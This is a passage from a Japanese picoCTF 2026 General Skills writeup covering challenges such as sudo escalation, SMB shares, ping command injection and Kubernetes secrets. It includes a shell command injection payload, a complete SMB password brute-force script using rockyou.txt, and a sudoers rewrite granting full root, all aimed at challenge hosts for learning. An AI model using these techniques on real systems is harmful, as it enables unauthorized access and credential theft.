0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【picoCTF 2026】General Skills Writeup ~全17問~

0
Posted at

はじめに

PicoCTFにRiSTとして出場してきました。チームとしては満点を取ることができ、Globalで8747チーム中52位、JP Studentsで131チーム中5位という成績を収めました!個人としては3150ポイント獲得しました。

picoCTF2026_global.png

picoCTF2026_jp-students.png

picoCTF2026_team-score.png

今回のCTFではGeneral Skillsを主に担当し、17問すべて解くことができたのでWriteupを書くことにしました!

picoCTF2026_general_skills_solve.png

SUDO MAKE ME A SANDWICH

問題名より、明らかにsudoで実行できるコマンドがあるので、sudo -lでそのコマンドを確認してflagゲット。

ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/emacs
ctf-player@challenge:~$ sudo /bin/emacs flag.txt

picoCTF{ju57_5ud0_17_cce7a3f7}

Piece by Piece

まず問題文に書かれている通り、ヒントのテキストファイルを見ていきます。

ctf-player@pico-chall$ cat instructions.txt
Hint:

- The flag is split into multiple parts as a zipped file.
- Use Linux commands to combine the parts into one file.
- The zip file is password protected. Use this "supersecret" password to extract the zip file.
- After unzipping, check the extracted text file for the flag.

なので、catを用いてそれぞれを結合していきます。

catの語源は「concatenate」であり、本来ファイルを連結するためのコマンドです。

ctf-player@pico-chall$ cat part_* > combined.zip

Linuxのシェルは*を展開するときに原則アルファベット順で展開します。

あとはsupersecretというパスワードを用いてunzipすればflagゲットです。

ctf-player@pico-chall$ unzip -P supersecret combined.zip
Archive:  combined.zip
 extracting: flag.txt                
ctf-player@pico-chall$ cat flag.txt
picoCTF{z1p_and_spl1t_f1l3s_4r3_fun_27804340}

bytemancy 0

ソースコードを見ていきます。

while(True):
  try:
    print('⊹──────[ BYTEMANCY-0 ]──────⊹')
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print()
    print('Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.')
    print()
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print('⊹─────────────⟡─────────────⊹')
    user_input = input('==> ')
    if user_input == "\x65\x65\x65":
      print(open("./flag.txt", "r").read())
      break
    else:
      print("That wasn't it. I got: " + str(user_input))
      print()
      print()
      print()
  except Exception as e:
    print(e)
    break

ソースコードから、ユーザーの入力が\x65\x65\x65であればflagが獲得できそうです。
\x65eのことであるため、eを3回入力すればflagゲットです。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ nc candy-mountain.picoctf.net 63916
⊹──────[ BYTEMANCY-0 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐

Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.

☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> eee
picoCTF{pr1n74813_ch4r5_2f7a75e5}

Printer Shares

問題文のヒントを見ると、「SMBで接続してみろ」という風なことが書いてあったので、smbclientで接続していきます。
まずは-Lでリストアップを行います。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ smbclient -L //mysterious-sea.picoctf.net/ -p 63915 -N

        Sharename       Type      Comment
        ---------       ----      -------
        shares          Disk      Public Share With Guests
        IPC$            IPC       IPC Service (Samba 4.19.5-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to mysterious-sea.picoctf.net failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available

sharesというのが明らかに怪しいので、sharesに接続していきます。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ smbclient //mysterious-sea.picoctf.net/shares -p 63915 -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Mar  7 05:25:41 2026
  ..                                  D        0  Sat Mar  7 05:25:41 2026
  dummy.txt                           N     1142  Thu Feb  5 06:22:17 2026
  flag.txt                            N       37  Sat Mar  7 05:25:41 2026

                65536 blocks of size 1024. 60000 blocks available

getflag.txtを取得してflagゲットです。

smb: \> get flag.txt
getting file \flag.txt of size 37 as flag.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit
picoCTF{5mb_pr1nter_5h4re5_2f61915b}

MY GIT

問題の指示に従った後、README.mdを見ていきます。

┌──(kali㉿kali)-[~/PicoCTF2026/challenge]
└─$ cat README.md
# MyGit

### If you want the flag, make sure to push the flag!

Only flag.txt pushed by ```root:root@picoctf``` will be updated with the flag.

GOOD LUCK!

これは、rootというusernameで、かつメアドがroot@picoctfである人によってpushされたflag.txtのみが、flagとともにアップデートされるということです。
なので以下のようにuser.nameuser.emailを設定します。

┌──(kali㉿kali)-[~/PicoCTF2026/challenge]
└─$ git config user.name "root"                                        
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/PicoCTF2026/challenge]
└─$ git config user.email "root@picoctf"
                                                                                                                                                                                

flag.txtを作成します。

┌──(kali㉿kali)-[~/PicoCTF2026/challenge]
└─$ echo 'dummy' > flag.txt                                                                                     
                                                                                                                                                                                

あとはflag.txtをステージして、コミットしてプッシュするとflagゲットです。

┌──(kali㉿kali)-[~/PicoCTF2026/challenge]
└─$ git add flag.txt     
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/PicoCTF2026/challenge]
└─$ git commit -m "add flag.txt"
[master f8f6859] add flag.txt
 1 file changed, 1 insertion(+)
 create mode 100644 flag.txt
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/PicoCTF2026/challenge]
└─$ git push
[...]
remote: Author matched and flag.txt found in commit...
remote: Congratulations! You have successfully impersonated the root user
remote: Here's your flag: picoCTF{1mp3rs0n4t4_g17_345y_05f9a904}
[...]

Password Profiler

まずは与えられているuserinfo.txtを見ていきます。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ cat userinfo.txt     
First Name: Alice
Surname: Johnson
Nickname: AJ
Birthdate: 15-07-1990
Partner's Name: Bob
Child's Name: Charlie

そして、ヒントにも書いてある通りcuppというツールを用いてパスワードリストを作成していきます。-iオプションを用いてインタラクティブモードで実行します。

パスワードリストが作成できたら、リストの名前をpasswords.txtに変更します。(check_password.pyに合わせるため)

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ mv alice.txt passwords.txt 

あとはcheck_password.pyを実行してflagゲットです。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ python3 check_password.py 
Password found: picoCTF{Aj_15901990}

KSECRETS

まずは与えられているkubeconfig.yamlを確認し、接続先のサーバー情報をCTF側の指定されたURL(今回はhttps://green-hill.picoctf.net:59235など)に書き換えます。

apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0t...
    server: https://green-hill.picoctf.net:59235 
  name: default
contexts:
[...]

準備ができたら、kubectlコマンドを使ってKubernetesクラスタ内の情報を探っていきます。まずはデフォルトの名前空間(namespace)にあるPodやSecretを探しますが、何も見つかりません。

┌──(kali㉿kali)-[~/Downloads]
└─$ kubectl --kubeconfig=kubeconfig.yaml --insecure-skip-tls-verify=true get pods
No resources found in default namespace.
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Downloads]
└─$ kubectl --kubeconfig=kubeconfig.yaml --insecure-skip-tls-verify=true get secrets 
No resources found in default namespace.
                                                                                                                                                                                                                                            

デフォルトの場所にないため、-A--all-namespaces)オプションをつけて、すべての名前空間のSecretを検索します

┌──(kali㉿kali)-[~/Downloads]
└─$ kubectl --kubeconfig=kubeconfig.yaml --insecure-skip-tls-verify=true get secrets -A

NAMESPACE     NAME                       TYPE                               DATA   AGE
kube-system   chart-values-traefik       helmcharts.helm.cattle.io/values   1      5m11s
kube-system   chart-values-traefik-crd   helmcharts.helm.cattle.io/values   0      5m11s
kube-system   k3s-serving                kubernetes.io/tls                  2      5m15s
picoctf       ctf-secret

picoctfという名前空間に、怪しいctf-secretが存在することが確認できました。
次に、このSecretの中身を-o yamlオプションで出力して確認します。

┌──(kali㉿kali)-[~/Downloads]
└─$ kubectl --kubeconfig=kubeconfig.yaml --insecure-skip-tls-verify=true get secret ctf-secret -n picoctf -o yaml
apiVersion: v1
data:
  flag: cGljb0NURntrczNjcjM3NV80MW43X3M0ZjNfNDAxM2EzNjh9Cg==
[...]

flagの値がBase64でエンコードされていることがわかります。cyberchefでもecho <> | base64 -dでもよいので、デコードするとflagゲットです。

picoCTF{ks3cr375_41n7_s4f3_4013a368}

補足

この問題を解くために行った操作が、ぶっちゃけ何をしているかよくわからなかったのでAIに聞くなりして調べてみました。

  1. Kubernetesとは?
    複数のコンテナを管理するための巨大なシステムです。kubectlは、そのシステムを外部から操縦するためのコマンドラインツールです。

  2. kubeconfig.yamlの役割
    「どのサーバーに、どの証明書でアクセスするか」が書かれた入場券兼設定ファイルです。これを指定することで、ローカルのパソコンから遠隔のCTFサーバーを操縦できるようになりました。

  3. 名前空間(Namespace)と-Aの意味
    Kubernetesの中は「Namespace」という部屋で区切られています。最初はデフォルトの部屋を探して空振りしたので、-Aオプションを使って、隠されたpicoctfという部屋を見つけ出しました。

  4. SecretとBase64
    get secretは、本来パスワードやAPIキーなどの機密情報を保存する場所を見るコマンドです。しかし、Kubernetesの初期設定では暗号化ではなく、単に文字を別の文字に置き換えるだけの「Base64エンコード」で保存されているだけです。(フラグの中身もKubernetesのSecretは安全ではないとなっています)

ping-cmd

まずはサーバーに接続してみます。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ nc mysterious-sea.picoctf.net 49412               
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'):

We have tight security because we only allow '8.8.8.8'と書かれていることから、入力値に8.8.8.8が含まれる必要があると推測できます。
また、裏ではおそらくping <user_input>という風に組み立てられて実行されていると推測できます。

Linuxのシェルではcommand1; command2と書くと「command1が終わった後に command2を実行する」という意味になります。

なので、まずはls -laでディレクトリの中身を確認します。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ nc mysterious-sea.picoctf.net 49412
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8; ls -la
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=9.51 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=9.48 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 9.484/9.498/9.513/0.014 ms
total 20
drwxr-x--- 1 ctf-player ctf-player   23 Mar  7 11:54 .
drwxr-xr-x 1 root       root         24 Mar  7 11:54 ..
-rw-r--r-- 1 ctf-player ctf-player  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 ctf-player ctf-player 3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 ctf-player ctf-player  807 Jan  6  2022 .profile
-r-------- 1 ctf-player ctf-player   49 Mar  6 20:19 flag.txt
-r-x------ 1 ctf-player ctf-player  149 Mar  7 11:53 script.sh

ping 8.8.8.8が実行された直後にls -laが実行され、カレントディレクトリにflag.txtが存在することが確認できました。
ちなみにwhoamiを実行するとctf-playerというユーザーで動いていることもわかります。

最後に、同じ手法でcat flag.txtをくっつけて実行してflagゲットです。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ nc mysterious-sea.picoctf.net 49412
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8; cat flag.txt
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=8.47 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=8.50 ms

--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 8.469/8.485/8.501/0.016 ms
picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_8555bda7}

bytemancy 1

先ほどのbytemancy 0の続編のような感じの問題です。
配布されているapp.pyの中身を確認します。

while(True):
  try:
    print('⊹──────[ BYTEMANCY-1 ]──────⊹')
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print()
    print('Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.')
    print()
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print('⊹─────────────⟡─────────────⊹')
    user_input = input('==> ')
    if user_input == "\x65"*1751:
      print(open("./flag.txt", "r").read())
      break
    else:
      print("That wasn't it. I got: " + str(user_input))
      print()
      print()
      print()
  except Exception as e:
    print(e)
    break

ソースコードの中身より、eを1751回連続で入力するとflagが獲得できそうです。

手作業でeを1751回入力するのは骨が折れるため、Pythonのワンライナーを使って自動生成します。
Pythonでは、'e' * 1751と書くだけで文字を簡単に反復させることができます。

次に、このPythonが出力した大量のeを、そのままncコマンドで接続したサーバーへと流し込みます。ここで使うのがパイプ(|)です。

パイプ(|)とは、Linuxコマンドを使って、左側のコマンドで出力された内容を、そのまま右側のコマンドへ橋渡しするための機能です。
今回の構成をイメージで表すと、「データを出すツール(Python) | データを受け取って通信するツール(nc)」 という役割分担になります。

これらを組み合わせて以下のコマンドを実行することで、flagを獲得することができました。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ python3 -c "print('e' * 1751)" | nc foggy-cliff.picoctf.net 50844
⊹──────[ BYTEMANCY-1 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐

Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.

☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> picoCTF{h0w_m4ny_e's???_e0d51f4b}

Undo

サーバーに接続すると以下のように表示されます。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ nc foggy-cliff.picoctf.net 51668
===Welcome to the Text Transformations Challenge!===

Your goal: step by step, recover the original flag.
At each step, you'll see the transformed flag and a hint.
Enter the correct Linux command to reverse the last transformation.

--- Step 1 ---
Current flag: KTZvNHFycnE4LWZhMDFnQHplMHNmYTRlRy1nazNnLXRhMWZlcmlyRShTR1BicHZj
Hint: Base64 encoded the string.
Enter the Linux command to reverse it: 

これは明らかにbase64でエンコードされた文字列なので、試しにbase64と入力してみました。すると以下のように表示されました。

Enter the Linux command to reverse it: base64
Incorrect. Try again.
Output: S1Radk5IRnljbkU0TFdaaE1ERm5RSHBsTUhObVlUUmxSeTFuYXpObkxYUmhNV1psY21seVJTaFRS
MUJpY0haag==
Hint: Try reversing: base64

このヒントを見るに、文字列をデコードする必要があると感じたので。base64 -dと入力してみました。すると以下のように表示されて、Step 1は成功しました。

Enter the Linux command to reverse it: base64 -d
Correct!

--- Step 2 ---
Current flag: )6o4qrrq8-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc
Hint: Reversed the text.
Enter the Linux command to reverse it:

次はStep 2で、ヒントには「テキストが反転されている」と書かれているため、文字列を後ろからひっくり返すLinuxコマンドであるrevを入力すると成功しました。

Enter the Linux command to reverse it: rev
Correct!

--- Step 3 ---
Current flag: cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-8qrrq4o6)
Hint: Replaced underscores with dashes.
Enter the Linux command to reverse it:

次はStep 3です。問題文にも添付されていたヒントを参考に、trというコマンドを入力してみました。すると以下のようになり、失敗しました。

Enter the Linux command to reverse it: tr "-" "`"
Incorrect. Try again.
Output: cvpbPGS(Eriref1at`g3kg`Ge4afs0ez@g10af`8qrrq4o6)
Hint: Try reversing: tr '_' '-'

tr '_' '-'をそのまま入力してもダメだったので、Hintにも出ている通り'_''-'を逆の順番で入力すると成功しました。

Enter the Linux command to reverse it: tr '-' '_'
Correct!

--- Step 4 ---
Current flag: cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_8qrrq4o6)
Hint: Replaced curly braces with parentheses.
Enter the Linux command to reverse it:

次はStep 4です。これも一度わざと間違えてみたところ、Hint: Try reversing: tr '{}' '()'と表示されたので、tr '()' '{}'と入力することで成功しました。

Enter the Linux command to reverse it: tr '()' '{}'
Correct!

--- Step 5 ---
Current flag: cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_8qrrq4o6}
Hint: Applied ROT13 to letters.
Enter the Linux command to reverse it: 

次はStep 5です。これも一度わざと間違えてみたところ、Hint: Try reversing: tr 'a-zA-Z' 'n-za-mN-ZA-M'と表示されたので、tr 'n-za-mN-ZA-M' 'a-zA-Z'と入力することでflagを獲得することができました。

--- Step 5 ---
Current flag: cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_8qrrq4o6}
Hint: Applied ROT13 to letters.
Enter the Linux command to reverse it: tr
Incorrect. Try again.
Output: [Error] Invalid tr usage. Example: tr 'a-z' 'n-za-m'
Hint: Try reversing: tr 'a-zA-Z' 'n-za-mN-ZA-M'

Enter the Linux command to reverse it: tr 'n-za-mN-ZA-M' 'a-zA-Z'
Correct!

Congratulations! You've recovered the original flag:
>>> picoCTF{Revers1ng_t3xt_Tr4nsf0rm@t10ns_8deed4b6}

MultiCode

問題を見ると、暗号文が渡されています。(ちなみに暗号文をメモするのを忘れてしまっていたので、この問題は考え方と最後のflagだけ記述しておきます...。)

  1. まず、最初の暗号文の末尾に=があったので、これはBase64エンコードであると推測しました。CyberChefでFrom Base64を適用します。

  2. Base64を解除して出てきた文字列を見ると、数字とアルファベットのaからfまでしか使われていませんでした。**これは16進数(Hex)の特徴です。**続けてレシピにFrom Hexを追加します。

  3. Hexを解除すると、今度は%7B%5Fのような、%と数字が組み合わさった文字列が出てきます。これはWebのURLなどで使われる**URLエンコードです。**レシピにURL Decodeを追加します。

  4. URLデコードをすると、flagのフォーマットに近い文字列が現れました。ヒントに記載されていた暗号化方式の中で、残っているのはROT13のみであるため、最後のレシピとしてROT13を追加します。

この順番でデータのパイプラインを通すことで、見事に元の文字列が復元されました!

Flag: picoCTF{nested_enc0ding_1d75be63}

bytemancy 2

まずはソースコードを見ていきます。

import sys

while(True):
  try:
    print('⊹──────[ BYTEMANCY-2 ]──────⊹')
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print()
    print('Send me the HEX BYTE 0xFF 3 times, side-by-side, no space.')
    print()
    print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
    print('⊹─────────────⟡─────────────⊹')
    print('==> ', end='', flush=True)
    user_input = sys.stdin.buffer.readline().rstrip(b"\n")
    if user_input == b"\xff\xff\xff":
      print(open("./flag.txt", "r").read())
      break
    else:
      print("That wasn't it. I got: " + str(user_input))
      print()
      print()
      print()
  except Exception as e:
    print(e)
    break

どうやら\xFFを3回送る必要がありそうです。\xFFはアルファベットとしてキーボードから打つことができないので、Pythonを用いてバイトデータを出力し、パイプ(|)でncに流し込みます。
前回のprint()関数は勝手に文字コードを変換してしまうため、今回は生のデータをそのまま出力できるsys.stdout.buffer.write()を使います。
まずは指示通りにb'\xff\xff\xff'を送ってみました。

┌──(kali㉿kali)-[~/Downloads]
└─$ python3 -c "import sys; sys.stdout.buffer.write(b'\xff\xff\xff')" | nc lonely-island.picoctf.net 59116
⊹──────[ BYTEMANCY-2 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐

Send me the HEX BYTE 0xFF 3 times, side-by-side, no space.

☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> 

しかし、ここでプログラムが止まってしまいました。原因解明のためにソースコードを見てみると、以下の部分に原因がありました。

user_input = sys.stdin.buffer.readline().rstrip(b"\n")

サーバーはreadline()という関数を使って私たちの入力を受け取っています。
この関数は今回の場合、「改行コード(\n)が送られてくるまで、ずっと入力を待ち続ける」という性質を持っています。
最初のコマンドでは0xFFを3つ送っただけで、エンターキーに相当する\nを送っていなかったため、サーバー側はずっと待ち続けていました。

なので、以下のようにコマンドを修正することでflagが獲得できました。

┌──(kali㉿kali)-[~/Downloads]
└─$ python3 -c "import sys; sys.stdout.buffer.write(b'\xff\xff\xff\n')" | nc lonely-island.picoctf.net 59116
⊹──────[ BYTEMANCY-2 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐

Send me the HEX BYTE 0xFF 3 times, side-by-side, no space.

☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> picoCTF{3ff5_4_d4yz_9a6da265}

Printer Shares 2

まずは「Printer Shares」の時と同様、smbclientを用いてターゲットサーバーにどのような共有フォルダが存在するかをリストアップします。
パスワード無しで接続を試みるため、-Nオプションをつけます。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ smbclient -L //green-hill.picoctf.net -p 55477 -N

        Sharename       Type      Comment
        ---------       ----      -------
        shares          Disk      Public Share With Guests
        secure-shares   Disk      Printer for internal usage only
        IPC$            IPC       IPC Service (Samba 4.19.5-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to green-hill.picoctf.net failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available

誰でもアクセスできそうなsharesと、内部用のsecure-sharesが見つかりました。

まずはsharesに接続し、中身を確認します。secure-sharesにもアクセスすることを試みましたが、tree connect failed: NT_STATUS_ACCESS_DENIEDと表示されました。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ smbclient //green-hill.picoctf.net/shares -p 55477 -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Mar 10 06:29:06 2026
  ..                                  D        0  Tue Mar 10 06:29:06 2026
  content.txt                         N     1107  Thu Feb  5 06:22:17 2026
  kafka.txt                           N     1080  Thu Feb  5 06:22:17 2026
  notification.txt                    N      260  Thu Feb  5 06:22:17 2026

                65536 blocks of size 1024. 59892 blocks available
smb: \> get notification.txt
getting file \notification.txt of size 260 as notification.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \> get kafka.txt
getting file \kafka.txt of size 1080 as kafka.txt (1.3 KiloBytes/sec) (average 0.8 KiloBytes/sec)
smb: \> get content.txt
getting file \content.txt of size 1107 as content.txt (1.3 KiloBytes/sec) (average 1.0 KiloBytes/sec)
smb: \> exit

content.txtkafka.txtはダミーでしたが、notification.txtを見てみると決定的なヒントがありました。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ cat notification.txt 
Hi Joe,

We’ve identified a vulnerability in this printer. Until the issue is resolved, please use an alternative printer.

If you have never logged into the printer before, please note that the default password is currently in use.

Best,
The Operator Team

Joeというユーザーが、デフォルトのパスワードを使っていることが分かります。なので、Joeのパスワードをクラックし、secure-sharesにアクセスすることを試みます。

なので、hydrancrackを用いて辞書攻撃を試みました。しかし、サーバー側のSMBバージョンの仕様やCTF環境の制限により、どちらのツールもエラーやフリーズで機能しませんでした。

# Hydraでの試行
┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ hydra -l joe -P /usr/share/wordlists/rockyou.txt -s 50988 green-hill.picoctf.net smb
[...]
[ERROR] target smb://green-hill.picoctf.net:50988/ does not support SMBv1

# Ncrackでの試行(フリーズして進まない)
┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ ncrack -p smb:61513 --user joe -P /usr/share/wordlists/rockyou.txt green-hill.picoctf.net

Starting Ncrack 0.7 ( http://ncrack.org ) at 2026-03-11 02:21 JST
Stats: 0:03:08 elapsed; 0 services completed (1 total)
Rate: 0.00; Found: 0; About 0.00% done

既存のツールが使えないので、smbclientを直接ループさせるシェルスクリプトを作成しました。

#!/bin/bash

# 設定項目
WORDLIST="/usr/share/wordlists/rockyou.txt"
USER="joe"
PORT="65448"
TARGET="//green-hill.picoctf.net/secure-shares"

# 全行数を取得(進捗計算用)
TOTAL_LINES=$(wc -l < "$WORDLIST")
CURRENT_LINE=0

echo "[*] Starting brute force against $TARGET for user $USER..."
echo "[*] Total passwords to try: $TOTAL_LINES"

while IFS= read -r password || [ -n "$password" ]; do
  CURRENT_LINE=$((CURRENT_LINE + 1))

  # 毎回表示すると画面描画で処理が遅くなるため、100回ごとに進捗を上書き表示
  if [ $((CURRENT_LINE % 100)) -eq 0 ]; then
    echo -ne "\r[*] Progress: $CURRENT_LINE / $TOTAL_LINES (Trying: $password)     "
  fi

  # smbclientでログイン試行
  smbclient "$TARGET" -p "$PORT" -U "$USER%$password" -c 'ls' >/dev/null 2>&1

  # 終了コードが0(成功)ならループを抜ける
  if [ $? -eq 0 ]; then
    echo -e "\n\n[+] SUCCESS! Password Found: $password"
    break
  fi
done < "$WORDLIST"

smbclientのコマンドに-c 'ls' >/dev/null 2>&1をつけている理由は、-cオプションを使うと、ログインしたら、指定したコマンドを1回だけ実行して、処理が終わると自動的に終了するという風にすることができるからです。
これにより、スクリプトがフリーズすることなく、次のパスワードの試行へスムーズに移ることができます。

これを実行すると、見事にパスワードを特定できました!

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ nano script.sh 
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ ./script.sh 
[*] Starting brute force against //green-hill.picoctf.net/secure-shares for user joe...
[*] Total passwords to try: 14344392
[*] Progress: 400 / 14344392 (Trying: dolphins)      

[+] SUCCESS! Password Found: popcorn

特定したパスワードを使って、secure-sharesにログインします。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ smbclient //green-hill.picoctf.net/secure-shares -p 65448 -U joe
Password for [WORKGROUP\joe]:
smb: \> ls
  .                                   D        0  Tue Mar 10 06:29:14 2026
  ..                                  D        0  Tue Mar 10 06:29:14 2026
  flag.txt                            N       44  Tue Mar 10 06:29:14 2026

                65536 blocks of size 1024. 59580 blocks available
smb: \> get flag.txt
getting file \flag.txt of size 44 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> exit

無事にログインでき、flagを獲得できました!

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ cat flag.txt      
picoCTF{5mb_pr1nter_5h4re5_5ecure_d5e6bb0b}

ABSOLUTE NANO

問題名からして、明らかにnanoというコマンドがsudoで実行できそうです。なのでsudo -lを実行します。

ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/nano /etc/sudoers
ctf-player@challenge:~$ sudo /bin/nano /etc/sudoers

nano/etc/sudoersが編集できます。なので、sudo /bin/nano /etc/sudoersを実行し、ファイルを直接書き換えます。

[...]

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
ctf-player ALL=(ALL) NOPASSWD: /bin/nano /etc/sudoers

ここで、ctf-playerrootと同様にALL=(ALL:ALL) ALLにします。そうすることで、どのコマンドもsudoで実行できるようになります。

変更前:
ctf-player ALL=(ALL) NOPASSWD: /bin/nano /etc/sudoers

変更後:
ctf-player ALL=(ALL:ALL) ALL

なので、sudo cat flag.txtを実行することができるようになり、flagを獲得することができました。

ctf-player@challenge:~$ sudo cat flag.txt
picoCTF{n4n0_411_7h3_w4y_6a5c67f2}

Failure Failure

まずは配布されたソースコードを見ていきます。app.pyは以下の通りです。

from flask import Flask, render_template
from dotenv import load_dotenv
from flask_limiter import Limiter
import os

load_dotenv()

app = Flask(__name__)

# Custom key function for global rate limiting
def global_rate_limit_key():
    return "global"

# Initialize rate limiter with global key function
limiter = Limiter(
    key_func=global_rate_limit_key,
    app=app,
    default_limits=["300 per minute"]
)

# Custom error handler for rate limit exceeded
@app.errorhandler(429)
def ratelimit_exceeded(e):
    return "Service Unavailable: Rate limit exceeded", 503

@app.route('/')
@limiter.limit("300 per minute")
def home():
    print("value:", os.getenv("IS_BACKUP"))
    if os.getenv("IS_BACKUP") == "yes":
        flag = os.getenv("FLAG")
    else:
        flag = "No flag in this service"
    return render_template("index.html", flag=flag)

flagはIS_BACKUPyesに設定されているサーバーにしか存在しません。また、300 per minuteというレート制限がかけられており、これを超えると503エラーが返される仕組みになっています。

次にhaproxy.cfgを見ていきます。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ cat haproxy.cfg 
# haproxy.cfg
global
    log stdout format raw local0
    maxconn 1000

defaults
    log global
    mode http
    timeout connect 5s
